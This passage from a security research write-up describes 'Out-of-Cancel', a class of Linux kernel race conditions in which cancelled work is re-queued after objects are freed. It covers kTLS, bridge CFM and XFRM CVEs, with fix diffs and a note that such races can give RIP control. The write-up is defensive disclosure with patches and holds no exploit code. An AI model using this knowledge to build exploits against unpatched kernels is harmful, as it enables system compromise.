 	skb_queue_purge(&amp;ctx-&gt;out_queue);
</code></pre></div></div>

<p>The disclosure timeline is as follows:</p>

<ul>
  <li>2026-02-03: Submitted the vulnerability report to security@kernel.org</li>
  <li>2026-02-16: Submitted the v1 patch to the public netdev mailing list</li>
  <li>2026-02-27: The patch was merged into the mainline kernel</li>
</ul>

<h1 id="generalizing-out-of-cancel">Generalizing Out-of-Cancel</h1>

<p>Issues belonging to this bug class are not limited to <code class="language-plaintext highlighter-rouge">espintcp</code>, and the same pattern can be found across the networking subsystem.</p>

<h2 id="ktls-tx-cancellation-race-cve-2026-23240">kTLS TX Cancellation Race (CVE-2026-23240)</h2>

<p>In net/tls/tls_sw.c, the function <code class="language-plaintext highlighter-rouge">tls_sw_cancel_work_tx()</code> calls <code class="language-plaintext highlighter-rouge">cancel_delayed_work_sync()</code> to cancel <code class="language-plaintext highlighter-rouge">ctx-&gt;tx_work.work</code>. As in the espintcp case, <code class="language-plaintext highlighter-rouge">tls_write_space()</code>, which is invoked from the <code class="language-plaintext highlighter-rouge">-&gt;sk_write_space()</code> path, can re-schedule <code class="language-plaintext highlighter-rouge">ctx-&gt;tx_work.work</code>, leaving room for a race condition.</p>

<p>CVE-2026-23240 was fixed in commit <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/net/tls?id=7bb09315f93dce6acc54bf59e5a95ba7365c2be4">7bb09315f93d</a> as follows:</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gh">diff --git a/net/tls/tls_sw.c b/net/tls/tls_sw.c
index 9937d4c810f2..b1fa62de9dab 100644
</span><span class="gd">--- a/net/tls/tls_sw.c
</span><span class="gi">+++ b/net/tls/tls_sw.c
</span><span class="p">@@ -2533,7 +2533,7 @@</span> void tls_sw_cancel_work_tx(struct tls_context *tls_ctx)
 
 	set_bit(BIT_TX_CLOSING, &amp;ctx-&gt;tx_bitmask);
 	set_bit(BIT_TX_SCHEDULED, &amp;ctx-&gt;tx_bitmask);
<span class="gd">-	cancel_delayed_work_sync(&amp;ctx-&gt;tx_work.work);
</span><span class="gi">+	disable_delayed_work_sync(&amp;ctx-&gt;tx_work.work);
</span> }
 
 void tls_sw_release_resources_tx(struct sock *sk)
</code></pre></div></div>

<h2 id="bridge-cfm-cancellation-race-cve-2026-23393">Bridge CFM Cancellation Race (CVE-2026-23393)</h2>

<p>In net/bridge/br_cfm.c, the function <code class="language-plaintext highlighter-rouge">br_cfm_cc_peer_mep_remove()</code> calls <code class="language-plaintext highlighter-rouge">cancel_delayed_work_sync()</code> to cancel <code class="language-plaintext highlighter-rouge">peer_mep-&gt;ccm_rx_dwork</code>. During this process, <code class="language-plaintext highlighter-rouge">br_cfm_frame_rx()</code>, which runs in softirq context, can re-schedule <code class="language-plaintext highlighter-rouge">peer_mep-&gt;ccm_rx_dwork</code> via <code class="language-plaintext highlighter-rouge">ccm_rx_timer_start()</code> upon CCM frame reception, leaving room for a race condition where the work is re-queued between the return of <code class="language-plaintext highlighter-rouge">cancel_delayed_work_sync()</code> and <code class="language-plaintext highlighter-rouge">kfree_rcu()</code>.</p>

<p>CVE-2026-23393 was fixed in commit <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=3715a00855316066cdda69d43648336367422127">3715a0085531</a> as follows.</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gh">diff --git a/net/bridge/br_cfm.c b/net/bridge/br_cfm.c
index 2c70fe47de38..118c7ea48c35 100644
</span><span class="gd">--- a/net/bridge/br_cfm.c
</span><span class="gi">+++ b/net/bridge/br_cfm.c
</span><span class="p">@@ -576,7 +576,7 @@</span> static void mep_delete_implementation(struct net_bridge *br,
 
 	/* Empty and free peer MEP list */
 	hlist_for_each_entry_safe(peer_mep, n_store, &amp;mep-&gt;peer_mep_list, head) {
<span class="gd">-		cancel_delayed_work_sync(&amp;peer_mep-&gt;ccm_rx_dwork);
</span><span class="gi">+		disable_delayed_work_sync(&amp;peer_mep-&gt;ccm_rx_dwork);
</span> 		hlist_del_rcu(&amp;peer_mep-&gt;head);
 		kfree_rcu(peer_mep, rcu);
 	}
<span class="p">@@ -732,7 +732,7 @@</span> int br_cfm_cc_peer_mep_remove(struct net_bridge *br, const u32 instance,
 		return -ENOENT;
 	}
 
<span class="gd">-	cc_peer_disable(peer_mep);
</span><span class="gi">+	disable_delayed_work_sync(&amp;peer_mep-&gt;ccm_rx_dwork);
</span> 
 	hlist_del_rcu(&amp;peer_mep-&gt;head);
 	kfree_rcu(peer_mep, rcu);
</code></pre></div></div>

<h2 id="xfrm-cancellation-race-cve-2026-31406">XFRM Cancellation Race (CVE-2026-31406)</h2>

<p>In net/xfrm/xfrm_nat_keepalive.c, the function <code class="language-plaintext highlighter-rouge">xfrm_nat_keepalive_net_fini()</code> calls <code class="language-plaintext highlighter-rouge">cancel_delayed_work_sync()</code> to cancel <code class="language-plaintext highlighter-rouge">net-&gt;xfrm.nat_keepalive_work</code>. During this process, <code class="language-plaintext highlighter-rouge">xfrm_state_fini()</code>, which is called subsequently, flushes remaining states via <code class="language-plaintext highlighter-rouge">__xfrm_state_delete()</code>, causing <code class="language-plaintext highlighter-rouge">xfrm_nat_keepalive_state_updated()</code> to re-schedule <code class="language-plaintext highlighter-rouge">nat_keepalive_work</code>, leaving room for a race condition where the work executes on freed memory after the network namespace structure has been deallocated.</p>

<p>CVE-2026-31406 was fixed in commit <a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=daf8e3b253aa760ff9e96c7768a464bc1d6b3c90">daf8e3b253aa</a> as follows.</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gh">diff --git a/net/xfrm/xfrm_nat_keepalive.c b/net/xfrm/xfrm_nat_keepalive.c
index ebf95d48e86c..1856beee0149 100644
</span><span class="gd">--- a/net/xfrm/xfrm_nat_keepalive.c
</span><span class="gi">+++ b/net/xfrm/xfrm_nat_keepalive.c
</span><span class="p">@@ -261,7 +261,7 @@</span> int __net_init xfrm_nat_keepalive_net_init(struct net *net)
 
 int xfrm_nat_keepalive_net_fini(struct net *net)
 {
<span class="gd">-	cancel_delayed_work_sync(&amp;net-&gt;xfrm.nat_keepalive_work);
</span><span class="gi">+	disable_delayed_work_sync(&amp;net-&gt;xfrm.nat_keepalive_work);
</span> 	return 0;
 }
</code></pre></div></div>

<p>In addition to this, significantly more vulnerabilities are currently being worked on. This will be updated as patches become publicly available.</p>

<h1 id="conclusion">Conclusion</h1>

<p>In this work, a race-based vulnerability class arising from the usage patterns of the <code class="language-plaintext highlighter-rouge">cancel_work_sync()</code> and <code class="language-plaintext highlighter-rouge">cancel_delayed_work_sync()</code> APIs is organized under the name <code class="language-plaintext highlighter-rouge">Out-of-Cancel</code> and it is shown that the same issue can repeatedly appear in teardown paths across multiple network subsystems, including espintcp. The core of this bug class is that “cancellation” does not guarantee that a work item will never be scheduled again, which creates a critical gap between object lifetime management and worker scheduling.</p>

<p>As seen in real cases, simply calling a cancellation API is not enough to block the race, and an explicit step to disable the work item is required. This is also reflected in the fact that different code paths, such as espintcp, kTLS, Bridge and XFRM, all converge on the same direction of fixes. This pattern suggests that the problem is not confined to a specific subsystem, but is a structural issue that needs to be revisited across asynchronous work cancellation mechanisms in general.</p>

<p>Out-of-Cancel is less about an implementation mistake and more about a subtle mismatch between the semantics of the API and how it is used. In future code that relies on similar asynchronous execution models, it will be necessary to draw a clearer line between “cancellation” and “disabling”, and to explicitly validate how these operations interact with object lifetimes.</p>

<p>When such a mismatch occurs, a worker may still be scheduled after its associated object has been freed, eventually reaching <code class="language-plaintext highlighter-rouge">process_one_work()</code> in the <code class="language-plaintext highlighter-rouge">kworker</code> context. If the freed object is reallocated under attacker control, this can lead to RIP control, making it a powerful bug class in the Linux kernel.</p>

<p>These vulnerabilities typically surface in object teardown paths such as <code class="language-plaintext highlighter-rouge">close</code>, where object destruction intersects with asynchronous work cancellation. Exploiting them therefore requires arranging for the object to be freed and reclaimed before the worker actually runs. As demonstrated in the espintcp race scenario, an exploit can be constructed by carefully combining subsystem-specific teardown logic with the kernel’s interleaving behavior.</p>]]></content><author><name></name></author><category term="linux" /><summary type="html"><![CDATA[Introduction]]></summary></entry></feed>